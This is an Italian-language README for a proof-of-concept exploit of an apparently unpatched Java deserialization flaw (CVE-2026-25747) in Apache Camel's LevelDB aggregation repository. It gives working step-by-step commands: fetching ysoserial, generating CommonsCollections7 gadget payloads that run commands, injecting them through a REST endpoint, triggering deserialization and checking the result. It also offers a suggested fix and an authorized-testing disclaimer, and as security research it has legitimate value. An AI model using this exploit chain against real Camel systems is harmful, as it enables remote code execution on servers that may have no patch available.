
CVE-2026-25747 - Vulnerabilità di deserializzazione in Camel LevelDB
Questo progetto dimostra una vulnerabilità di deserializzazione Java nell'Apache Camel LevelDB Aggregation Repository, simile alla CVE-2024-23114 (che riguardava il Cassandra Aggregation Repository).
| Proprietà | Valore |
|---|---|
| Componente | camel-leveldb |
| Classe interessata | DefaultLevelDBSerializer.java |
| Metodi vulnerabili | deserializeKey(), deserializeExchange() |
| CWE | CWE-502: Deserializzazione di dati non attendibili |
| Impatto | Esecuzione di codice in remoto (RCE) |
| Versioni interessate | Tutte le versioni inclusa la 4.17.0 (non corretta al momento del test) |
La classe DefaultLevelDBSerializer usa un ObjectInputStream grezzo senza alcun filtro:
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
Confrontatelo con l'implementazione corretta di Cassandra (dal Camel 4.4.0):
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
Output atteso:
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
Scaricate ysoserial e generate un payload:
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
Output atteso:
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
Questo itererà su tutte le chiavi e chiamerà repo.get() che attiva la deserializzazione!
# Check if the command was executed
ls -la /tmp/pwned
Se il file /tmp/pwned esiste, lo sfruttamento è riuscito!
La vulnerabilità può essere attivata attraverso più percorsi:
get() sul repository attiva la deserializzazionePer uno sfruttamento riuscito:
Accesso in scrittura a LevelDB: L'attaccante deve poter scrivere nel file del database LevelDB
Libreria di gadget nel classpath: Deve essere presente una libreria con catene di gadget sfruttabili
commons-collections:3.2.1 (gadget CommonsCollections1-7)org.springframework:spring-core (gadget Spring)Applicate la stessa correzione di Cassandra:
ClassLoadingAwareObjectInputStream invece del ObjectInputStream grezzoObjectInputFilter configurabile con impostazioni predefinite sicure"java.**;org.apache.camel.**;!*"Esempio di correzione per DefaultLevelDBSerializer.java:
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
Fino a quando non verrà rilasciata una correzione:
JacksonLevelDBSerializer invece di DefaultLevelDBSerializerpotential-leveldb/
├── pom.xml # Maven configuration with vulnerable deps
├── README.md # This file
└── src/main/java/com/example/
├── Application.java # Spring Boot entry point
├── LevelDBRoute.java # Camel route using LevelDB aggregation
├── StringAggregationStrategy.java
└── ExploitController.java # REST endpoints for exploitation
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati. Non usarlo contro sistemi senza permesso esplicito.
| Aspetto | Cassandra (CVE-2024-23114) | LevelDB (Questo problema) |
|---|
| Stato | Corretta nella 4.4.0 | NON CORRETTA nella 4.17.0 |
| ObjectInputStream | Usa ClassLoadingAwareObjectInputStream | Usa ObjectInputStream grezzo |
| Filtro di deserializzazione | "java.**;org.apache.camel.**;!*" | Nessuno |
| JIRA | CAMEL-20306 | Non ancora segnalato |